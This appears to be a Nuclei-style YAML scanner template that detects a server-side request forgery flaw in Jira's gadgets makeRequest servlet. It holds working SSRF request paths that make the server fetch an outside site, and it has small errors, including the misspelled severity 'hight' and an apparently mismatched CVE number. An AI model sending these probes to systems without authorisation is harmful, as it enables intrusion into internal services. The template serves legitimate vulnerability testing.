CVE-2020-8451.yaml

id: CVE-2020-8451

info:
  name:  jira ssrf 
  author: medbsq
  severity: hight

requests:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/servlet/gadgets/makeRequest?url=https://127.0.0.1:443@google.com"
      - "{{BaseURL}}/jira/plugins/servlet/gadgets/makeRequest?url=https://127.0.0.1:443@google.com"
      - "{{BaseURL}}/wiki/plugins/servlet/gadgets/makeRequest?url=https://127.0.0.1:443@google.com"
      - "{{BaseURL}}/confluence/plugins/servlet/gadgets/makeRequest?url=https://127.0.0.1:443@google.com"
    matchers:
      - type: word
        words:
          - "<title>Google</title>"
        part: body